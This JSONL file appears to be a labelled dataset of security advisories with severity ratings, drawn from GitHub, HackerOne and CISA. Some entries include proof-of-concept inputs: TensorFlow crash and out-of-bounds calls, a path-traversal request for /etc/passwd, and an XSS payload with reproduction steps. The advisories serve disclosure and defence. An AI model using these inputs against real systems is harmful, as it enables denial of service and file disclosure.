-{"id": "06dbcf6aa504c9936076", "text": "`CHECK`-fail in `MapStage`\n\n### Impact\nAn attacker can trigger a denial of service via a `CHECK`-fail in `tf.raw_ops.MapStage`:\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.MapStage(\n  key=tf.constant([], shape=[0, 0, 0, 0], dtype=tf.int64),\n  indices=tf.constant((0), dtype=tf.int32),\n  values=[tf.constant((0), dtype=tf.int32)],\n  dtypes=[tf.int32,\n  tf.int64],\n  capacity=0,\n  memory_limit=0,\n  container='',\n  shared_name='')\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/core/kernels/map_stage_op.cc#L513) does not check that the `key` input is a valid non-empty tensor.\n\n### Patches\nWe have patched the issue in GitHub commit [d7de67733925de196ec8863a33445b73f9562d1d](https://github.com/tensorflow/tensorflow/commit/d7de67733925de196ec8863a33445b73f9562d1d).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security  guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.", "text_raw": "`CHECK`-fail in `MapStage`\n\n[Severity: MEDIUM]\n\n### Impact\nAn attacker can trigger a denial of service via a `CHECK`-fail in `tf.raw_ops.MapStage`:\n\n```python\nimport tensorflow as tf\n  \ntf.raw_ops.MapStage(\n  key=tf.constant([], shape=[0, 0, 0, 0], dtype=tf.int64),\n  indices=tf.constant((0), dtype=tf.int32),\n  values=[tf.constant((0), dtype=tf.int32)],\n  dtypes=[tf.int32,\n  tf.int64],\n  capacity=0,\n  memory_limit=0,\n  container='',\n  shared_name='')\n```\n  \nThe [implementation](https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/core/kernels/map_stage_op.cc#L513) does not check that the `key` input is a valid non-empty tensor.\n  \n### Patches\nWe have patched the issue in GitHub commit [d7de67733925de196ec8863a33445b73f9562d1d](https://github.com/tensorflow/tensorflow/commit/d7de67733925de196ec8863a33445b73f9562d1d).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security  guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "ffbf984bfe2d8e48d335", "text": "Division by zero in optimized pooling implementations in TFLite\n\n### Impact\nOptimized pooling implementations in TFLite fail to check that the stride arguments are not 0 before calling [`ComputePaddingHeightWidth`](https://github.com/tensorflow/tensorflow/blob/3f24ccd932546416ec906a02ddd183b48a1d2c83/tensorflow/lite/kernels/pooling.cc#L90).\n\nSince users can craft special models which will have `params->stride_{height,width}` be zero, this will result in a division by zero.\n\n### Patches\nWe have patched the issue in GitHub commit [5f7975d09eac0f10ed8a17dbb6f5964977725adc](https://github.com/tensorflow/tensorflow/commit/5f7975d09eac0f10ed8a17dbb6f5964977725adc).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Division by zero in optimized pooling implementations in TFLite\n\n[Severity: LOW]\n\n### Impact\nOptimized pooling implementations in TFLite fail to check that the stride arguments are not 0 before calling [`ComputePaddingHeightWidth`](https://github.com/tensorflow/tensorflow/blob/3f24ccd932546416ec906a02ddd183b48a1d2c83/tensorflow/lite/kernels/pooling.cc#L90).\n\nSince users can craft special models which will have `params->stride_{height,width}` be zero, this will result in a division by zero.\n                          \n### Patches\nWe have patched the issue in GitHub commit [5f7975d09eac0f10ed8a17dbb6f5964977725adc](https://github.com/tensorflow/tensorflow/commit/5f7975d09eac0f10ed8a17dbb6f5964977725adc).\n      \nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n      \n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "005a6bd58df298d83c5b", "text": "Out-of-bounds write\n\nA remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge, aka 'Chakra Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2019-0912, CVE-2019-0913, CVE-2019-0914, CVE-2019-0915, CVE-2019-0916, CVE-2019-0917, CVE-2019-0922, CVE-2019-0923, CVE-2019-0924, CVE-2019-0925, CVE-2019-0927, CVE-2019-0933.", "text_raw": "Out-of-bounds write\n\n[Severity: HIGH]\n\nA remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge, aka 'Chakra Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2019-0912, CVE-2019-0913, CVE-2019-0914, CVE-2019-0915, CVE-2019-0916, CVE-2019-0917, CVE-2019-0922, CVE-2019-0923, CVE-2019-0924, CVE-2019-0925, CVE-2019-0927, CVE-2019-0933.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-03-29", "split": "train"}
-{"id": "a67557c70ba9686651a7", "text": "Malicious Package in require-ports\n\nVersion 10.4.0 of `require-ports` contains malicious code as a preinstall script. The package is malware designed to take advantage of users making a mistake when typing the name of a module to install. When installed, the package downloads a file from a remote server, executes it and opens a backdoor.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in require-ports\n\n[Severity: CRITICAL]\n\nVersion 10.4.0 of `require-ports` contains malicious code as a preinstall script. The package is malware designed to take advantage of users making a mistake when typing the name of a module to install. When installed, the package downloads a file from a remote server, executes it and opens a backdoor.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "9e430d1041ec9238cef5", "text": "Insecure Default Configuration in tesseract.js\n\nVersions of `tesseract.js` prior to 1.0.19 default to using a third-party proxy.  Requests may be proxied through `crossorigin.me` which clearly states is not suitable for production use. This may lead to instability and privacy violations.\n\n## Recommendation\n\nUpgrade to version 1.0.19 or later.", "text_raw": "Insecure Default Configuration in tesseract.js\n\n[Severity: MEDIUM]\n\nVersions of `tesseract.js` prior to 1.0.19 default to using a third-party proxy.  Requests may be proxied through `crossorigin.me` which clearly states is not suitable for production use. This may lead to instability and privacy violations.\n\n\n## Recommendation\n\nUpgrade to version 1.0.19 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-06-05", "split": "train"}
-{"id": "75a133493e80a5a8b38a", "text": "Unauthorized client-side property update in UIDL request handler in Vaadin 10 and 11\n\nMissing check in UIDL request handler in com.vaadin:flow-server versions 1.0.0 through 1.0.5 (Vaadin 10.0.0 through 10.0.7, and 11.0.0 through 11.0.2) allows attacker to update element property values via crafted synchronization message.\n\n- https://vaadin.com/security/cve-2018-25007", "text_raw": "Unauthorized client-side property update in UIDL request handler in Vaadin 10 and 11\n\n[Severity: LOW]\n\nMissing check in UIDL request handler in com.vaadin:flow-server versions 1.0.0 through 1.0.5 (Vaadin 10.0.0 through 10.0.7, and 11.0.0 through 11.0.2) allows attacker to update element property values via crafted synchronization message.\n\n- https://vaadin.com/security/cve-2018-25007", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-04-19", "split": "train"}
-{"id": "3fe8f803fdaa41dac9b0", "text": "Prototype Pollution Protection Bypass in qs\n\nAffected version of `qs` are vulnerable to Prototype Pollution because it is possible to bypass the protection. The `qs.parse` function fails to properly prevent an object's prototype to be altered when parsing arbitrary input. Input containing `[` or `]` may bypass the prototype pollution protection and alter the Object prototype. This allows attackers to override properties that will exist in all objects, which may lead to Denial of Service or Remote Code Execution in specific circumstances.\n\n## Recommendation\n\nUpgrade to 6.0.4, 6.1.2, 6.2.3, 6.3.2 or later.", "text_raw": "Prototype Pollution Protection Bypass in qs\n\n[Severity: HIGH]\n\nAffected version of `qs` are vulnerable to Prototype Pollution because it is possible to bypass the protection. The `qs.parse` function fails to properly prevent an object's prototype to be altered when parsing arbitrary input. Input containing `[` or `]` may bypass the prototype pollution protection and alter the Object prototype. This allows attackers to override properties that will exist in all objects, which may lead to Denial of Service or Remote Code Execution in specific circumstances.\n\n\n## Recommendation\n\nUpgrade to 6.0.4, 6.1.2, 6.2.3, 6.3.2 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-04-30", "split": "train"}
-{"id": "3ca3d27a724f158eeb47", "text": "[Cross-Site Request Forgery (CSRF)] self cross site scripting\n\nVulnerability Exploited : cross site scripting using csrf\n\nVulnerable URL:https://gratipay.com/search\n\nVulnerability Explanation :The application is vulnerable with Reflected Cross Site Scripting. Here                                        application fails to validate user supplied inputs due to which an attacker can inject his own JavaScript on your web application.\n\nImpact :The attacker can access the victim's cookies associated with the website using document.domain, send them to his own server, and use them to hijack the session of target user. An attacker can also register a keyboard event listener using addEventListener and then send all of the user's keystrokes to his own server, potentially recording sensitive information such as passwords and credit card numbers.\n\nPayload : <script>alert(document.domain>\n\nstep to reproduce:\n1) login the URL https://gratipay.com.\n2) go to search button.\n3)use the proxy like burp suit.and intercept the request of search box.\n4)generate the csrf code ,then after write in search to above payload.\n5) csrf text file run in the browser \n6) you can see that cross site scripting.", "text_raw": "[Cross-Site Request Forgery (CSRF)] self cross site scripting\n\nVulnerability Exploited : cross site scripting using csrf\n\nVulnerable URL:https://gratipay.com/search\n\nVulnerability Explanation :The application is vulnerable with Reflected Cross Site Scripting. Here                                        application fails to validate user supplied inputs due to which an attacker can inject his own JavaScript on your web application.  \n\nImpact :The attacker can access the victim's cookies associated with the website using document.domain, send them to his own server, and use them to hijack the session of target user. An attacker can also register a keyboard event listener using addEventListener and then send all of the user's keystrokes to his own server, potentially recording sensitive information such as passwords and credit card numbers. \n\nPayload : <script>alert(document.domain>\n\nseverity: high\n\nstep to reproduce:\n1) login the URL https://gratipay.com.\n2) go to search button.\n3)use the proxy like burp suit.and intercept the request of search box.\n4)generate the csrf code ,then after write in search to above payload.\n5) csrf text file run in the browser \n6) you can see that cross site scripting.", "severity": "high", "severity_label": 2, "source": "hackerone", "timestamp": "2017-07-10", "split": "train"}
-{"id": "b08854d82322afdf5b7c", "text": "Cross-Site Scripting in TYPO3 CMS Link Handling\n\nIt has been discovered that link tags generated by `typolink` functionality are vulnerable to cross-site scripting - properties being assigned as HTML attributes have not been parsed correctly.\n\nUpdate to TYPO3 versions 9.5.17 or 10.4.2 that fix the problem described.\n\n### References\n* https://typo3.org/security/advisory/typo3-core-sa-2020-003", "text_raw": "Cross-Site Scripting in TYPO3 CMS Link Handling\n\n[Severity: MEDIUM]\n\nIt has been discovered that link tags generated by `typolink` functionality are vulnerable to cross-site scripting - properties being assigned as HTML attributes have not been parsed correctly.\n\nUpdate to TYPO3 versions 9.5.17 or 10.4.2 that fix the problem described.\n\n### References\n* https://typo3.org/security/advisory/typo3-core-sa-2020-003", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-05-13", "split": "train"}
-{"id": "af4fc4c844d9735ee92c", "text": "Data races in slock\n\nAn issue was discovered in the slock crate through 2020-11-17 for Rust. Slock<T> unconditionally implements Send and Sync.", "text_raw": "Data races in slock\n\n[Severity: HIGH]\n\nAn issue was discovered in the slock crate through 2020-11-17 for Rust. Slock<T> unconditionally implements Send and Sync.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "e38258da44eacbca0002", "text": "X5 Webserver 5.0 Remote Denial Of Service Exploit", "text_raw": "X5 Webserver 5.0 Remote Denial Of Service Exploit\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2016-11-30", "split": "train"}
-{"id": "7eeba5634a5ed6395c95", "text": "Microsoft Office Memory Corruption Vulnerability\n\nAffected: Microsoft Office\n\nMicrosoft Office contains a memory corruption vulnerability that allows remote code execution in the context of the current user.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-119\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Microsoft Office Memory Corruption Vulnerability\n\nAffected: Microsoft Office\n\nMicrosoft Office contains a memory corruption vulnerability that allows remote code execution in the context of the current user.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-119\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "847314f54623b070e5be", "text": "rails-html-sanitizer Cross-site Scripting vulnerability\n\nThere is a possible XSS vulnerability in all rails-html-sanitizer gem versions below 1.0.4 for Ruby. The gem allows non-whitelisted attributes to be present in sanitized output when input with specially-crafted HTML fragments, and these attributes can lead to an XSS attack on target applications. This issue is similar to CVE-2018-8048 in Loofah. All users running an affected release should either upgrade or use one of the workarounds immediately.", "text_raw": "rails-html-sanitizer Cross-site Scripting vulnerability\n\n[Severity: MEDIUM]\n\nThere is a possible XSS vulnerability in all rails-html-sanitizer gem versions below 1.0.4 for Ruby. The gem allows non-whitelisted attributes to be present in sanitized output when input with specially-crafted HTML fragments, and these attributes can lead to an XSS attack on target applications. This issue is similar to CVE-2018-8048 in Loofah. All users running an affected release should either upgrade or use one of the workarounds immediately.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-04-26", "split": "train"}
-{"id": "f3bd83ba5cc3f95a963c", "text": "Cross-Site Scripting in c3\n\nAffected versions of `c3` are vulnerable to cross-site scripting via improper sanitization of HTML in rendered tooltips.\n\n## Recommendation\n\nUpdate to 0.4.11 or later.", "text_raw": "Cross-Site Scripting in c3\n\n[Severity: MEDIUM]\n\nAffected versions of `c3` are vulnerable to cross-site scripting via improper sanitization of HTML in rendered tooltips. \n\n\n\n## Recommendation\n\nUpdate to 0.4.11 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "34f4428d2ea45be97147", "text": "Flask-Admin Cross-site Scripting vulnerability\n\nhelpers.py in Flask-Admin 1.5.2 has Reflected XSS via a crafted URL.", "text_raw": "Flask-Admin Cross-site Scripting vulnerability\n\n[Severity: MEDIUM]\n\nhelpers.py in Flask-Admin 1.5.2 has Reflected XSS via a crafted URL.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-12-19", "split": "train"}
-{"id": "33c6b80d5b5597f0f72d", "text": "Heap out of bounds read in `RaggedCross`\n\n### Impact\nAn attacker can force accesses outside the bounds of heap allocated arrays by passing in invalid tensor values to `tf.raw_ops.RaggedCross`:\n\n```python\nimport tensorflow as tf\n\nragged_values = []\nragged_row_splits = [] \nsparse_indices = []\nsparse_values = []\nsparse_shape = []\n\ndense_inputs_elem = tf.constant([], shape=[92, 0], dtype=tf.int64)\ndense_inputs = [dense_inputs_elem]\n\ninput_order = \"R\"\nhashed_output = False\nnum_buckets = 0\nhash_key = 0\n\ntf.raw_ops.RaggedCross(ragged_values=ragged_values,\n    ragged_row_splits=ragged_row_splits,\n    sparse_indices=sparse_indices,\n    sparse_values=sparse_values,\n    sparse_shape=sparse_shape,\n    dense_inputs=dense_inputs,\n    input_order=input_order,\n    hashed_output=hashed_output,\n    num_buckets=num_buckets,\n    hash_key=hash_key,\n    out_values_type=tf.int64,\n    out_row_splits_type=tf.int64)\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/efea03b38fb8d3b81762237dc85e579cc5fc6e87/tensorflow/core/kernels/ragged_cross_op.cc#L456-L487) lacks validation for the user supplied arguments:\n\n```cc\nint next_ragged = 0;\nint next_sparse = 0;\nint next_dense = 0;\nfor (char c : input_order_) {\n  if (c == 'R') {\n    TF_RETURN_IF_ERROR(BuildRaggedFeatureReader(\n        ragged_values_list[next_ragged], ragged_splits_list[next_ragged],\n        features));\n    next_ragged++;\n  } else if (c == 'S') {\n    TF_RETURN_IF_ERROR(BuildSparseFeatureReader(\n        sparse_indices_list[next_sparse], sparse_values_list[next_sparse],\n        batch_size, features));\n    next_sparse++;\n  } else if (c == 'D') {\n    TF_RETURN_IF_ERROR(\n        BuildDenseFeatureReader(dense_list[next_dense++], features));\n  }\n  ...\n}\n```\n\nEach of the above branches call a helper function after accessing array elements via a `*_list[next_*]` pattern, followed by incrementing the `next_*` index. However, as there is no validation that the `next_*` values are in the valid range for the corresponding `*_list` arrays, this results in heap OOB reads.\n\n### Patches\nWe have patched the issue in GitHub commit [44b7f486c0143f68b56c34e2d01e146ee445134a](https://github.com/tensorflow/tensorflow/commit/44b7f486c0143f68b56c34e2d01e146ee445134a).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.", "text_raw": "Heap out of bounds read in `RaggedCross`\n\n[Severity: LOW]\n\n### Impact\nAn attacker can force accesses outside the bounds of heap allocated arrays by passing in invalid tensor values to `tf.raw_ops.RaggedCross`:\n\n```python\nimport tensorflow as tf\n\nragged_values = []\nragged_row_splits = [] \nsparse_indices = []\nsparse_values = []\nsparse_shape = []\n\ndense_inputs_elem = tf.constant([], shape=[92, 0], dtype=tf.int64)\ndense_inputs = [dense_inputs_elem]\n\ninput_order = \"R\"\nhashed_output = False\nnum_buckets = 0\nhash_key = 0 \n\ntf.raw_ops.RaggedCross(ragged_values=ragged_values,\n    ragged_row_splits=ragged_row_splits,\n    sparse_indices=sparse_indices,\n    sparse_values=sparse_values,\n    sparse_shape=sparse_shape,\n    dense_inputs=dense_inputs,\n    input_order=input_order,\n    hashed_output=hashed_output,\n    num_buckets=num_buckets,\n    hash_key=hash_key,\n    out_values_type=tf.int64,\n    out_row_splits_type=tf.int64)\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/efea03b38fb8d3b81762237dc85e579cc5fc6e87/tensorflow/core/kernels/ragged_cross_op.cc#L456-L487) lacks validation for the user supplied arguments:\n\n```cc\nint next_ragged = 0;\nint next_sparse = 0;\nint next_dense = 0;\nfor (char c : input_order_) {\n  if (c == 'R') {\n    TF_RETURN_IF_ERROR(BuildRaggedFeatureReader(\n        ragged_values_list[next_ragged], ragged_splits_list[next_ragged],\n        features));\n    next_ragged++;\n  } else if (c == 'S') {\n    TF_RETURN_IF_ERROR(BuildSparseFeatureReader(\n        sparse_indices_list[next_sparse], sparse_values_list[next_sparse],\n        batch_size, features));\n    next_sparse++;\n  } else if (c == 'D') {\n    TF_RETURN_IF_ERROR(\n        BuildDenseFeatureReader(dense_list[next_dense++], features));\n  }\n  ...\n}\n```\n\nEach of the above branches call a helper function after accessing array elements via a `*_list[next_*]` pattern, followed by incrementing the `next_*` index. However, as there is no validation that the `next_*` values are in the valid range for the corresponding `*_list` arrays, this results in heap OOB reads.\n\n### Patches\nWe have patched the issue in GitHub commit [44b7f486c0143f68b56c34e2d01e146ee445134a](https://github.com/tensorflow/tensorflow/commit/44b7f486c0143f68b56c34e2d01e146ee445134a).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "4bdac46845a485e2cd8c", "text": "activerecord vulnerable to SQL Injection\n\nThe Active Record component in Ruby on Rails efore 2.3.15, 3.0.x before 3.0.14, 3.1.x before 3.1.6, and 3.2.x before 3.2.6 does not properly implement the passing of request data to a where method in an ActiveRecord class, which allows remote attackers to conduct certain SQL injection attacks via nested query parameters that leverage improper handling of nested hashes, a related issue to CVE-2012-2661.", "text_raw": "activerecord vulnerable to SQL Injection\n\n[Severity: HIGH]\n\nThe Active Record component in Ruby on Rails efore 2.3.15, 3.0.x before 3.0.14, 3.1.x before 3.1.6, and 3.2.x before 3.2.6 does not properly implement the passing of request data to a where method in an ActiveRecord class, which allows remote attackers to conduct certain SQL injection attacks via nested query parameters that leverage improper handling of nested hashes, a related issue to CVE-2012-2661.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "b52c6ede56136129bf49", "text": "Denial of Service in rgb2hex\n\nAll versions of `rgb2hex` are vulnerable to Regular Expression Denial of Service (ReDoS) when an attacker can pass in a specially crafted invalid color value.\n\n## Recommendation\n\nUpdate to version 0.1.6 or later.", "text_raw": "Denial of Service in rgb2hex\n\n[Severity: MEDIUM]\n\nAll versions of `rgb2hex` are vulnerable to Regular Expression Denial of Service (ReDoS) when an attacker can pass in a specially crafted invalid color value.\n\n\n## Recommendation\n\nUpdate to version 0.1.6 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-08-23", "split": "train"}
-{"id": "4c51d9a8f78a04172f02", "text": "Exposure of sensitive information in Apache Ozone\n\nIn Apache Ozone versions prior to 1.2.0, Various internal server-to-server RPC endpoints are available for connections, making it possible for an attacker to download raw data from Datanode and Ozone manager and modify Ratis replication configuration.", "text_raw": "Exposure of sensitive information in Apache Ozone\n\n[Severity: CRITICAL]\n\nIn Apache Ozone versions prior to 1.2.0, Various internal server-to-server RPC endpoints are available for connections, making it possible for an attacker to download raw data from Datanode and Ozone manager and modify Ratis replication configuration.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-11-23", "split": "train"}
-{"id": "615824d86db0ed226bf0", "text": "Data race in internment\n\nAn issue was discovered in the internment crate before 0.4.2 for Rust. There is a data race that can cause memory corruption because of the unconditional implementation of Sync for Intern<T>.", "text_raw": "Data race in internment\n\n[Severity: CRITICAL]\n\nAn issue was discovered in the internment crate before 0.4.2 for Rust. There is a data race that can cause memory corruption because of the unconditional implementation of Sync for Intern<T>.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "3ab8348eebb0faa15479", "text": "Directory Traversal in mfrs\n\nAffected versions of `mfrs` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in mfrs\n\n[Severity: HIGH]\n\nAffected versions of `mfrs` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "a1b91f681490ef60636e", "text": "robot-js downloads Resources over HTTP\n\nAffected versions of `robot-js` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `robot-js`.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "robot-js downloads Resources over HTTP\n\n[Severity: HIGH]\n\nAffected versions of `robot-js` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `robot-js`.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "d9a8907382ee67e3b817", "text": "Xerox DC260 EFI Fiery Controller Webtools 2.0 Arbitrary File Disclosure", "text_raw": "Xerox DC260 EFI Fiery Controller Webtools 2.0 Arbitrary File Disclosure\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2017-12-27", "split": "train"}
-{"id": "3a2f1844d7fffe27f3bd", "text": "MikroTik Router OS Directory Traversal Vulnerability\n\nAffected: MikroTik RouterOS\n\nMikroTik RouterOS through 6.42 allows unauthenticated remote attackers to read arbitrary files and remote authenticated attackers to write arbitrary files due to a directory traversal vulnerability in the WinBox interface.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-22\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "MikroTik Router OS Directory Traversal Vulnerability\n\nAffected: MikroTik RouterOS\n\nMikroTik RouterOS through 6.42 allows unauthenticated remote attackers to read arbitrary files and remote authenticated attackers to write arbitrary files due to a directory traversal vulnerability in the WinBox interface.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-22\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-12-01", "split": "train"}
-{"id": "b05be7913fb246ce28e3", "text": "Atlassian Confluence Server and Data Center Object-Graph Navigation Language (OGNL) Injection Vulnerability\n\nAffected: Atlassian Confluence Server and Data Center\n\nAtlassian Confluence Server and Data Server contain an Object-Graph Navigation Language (OGNL) injection vulnerability that may allow an unauthenticated attacker to execute code.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-917\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Atlassian Confluence Server and Data Center Object-Graph Navigation Language (OGNL) Injection Vulnerability\n\nAffected: Atlassian Confluence Server and Data Center\n\nAtlassian Confluence Server and Data Server contain an Object-Graph Navigation Language (OGNL) injection vulnerability that may allow an unauthenticated attacker to execute code.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-917\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "ddf5cc2d9f0c66b3ba2a", "text": "Double Free in OpenCV\n\nOpenCV 3.0.0 has a double free issue that allows attackers to execute arbitrary code. This issue was fixed in OpenCV version 3.3.1 (corresponding to OpenCV-Python and and OpenCV-Contrib-Python 3.3.1.11).", "text_raw": "Double Free in OpenCV\n\n[Severity: HIGH]\n\nOpenCV 3.0.0 has a double free issue that allows attackers to execute arbitrary code. This issue was fixed in OpenCV version 3.3.1 (corresponding to OpenCV-Python and and OpenCV-Contrib-Python 3.3.1.11).", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-10-12", "split": "train"}
-{"id": "95c882f87a8faeced95e", "text": "Pallets Werkzeug Insufficient Entropy\n\nPallets Werkzeug before 0.15.3, when used with Docker, has insufficient debugger PIN randomness because Docker containers share the same machine id.", "text_raw": "Pallets Werkzeug Insufficient Entropy\n\n[Severity: HIGH]\n\nPallets Werkzeug before 0.15.3, when used with Docker, has insufficient debugger PIN randomness because Docker containers share the same machine id.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-08-21", "split": "train"}
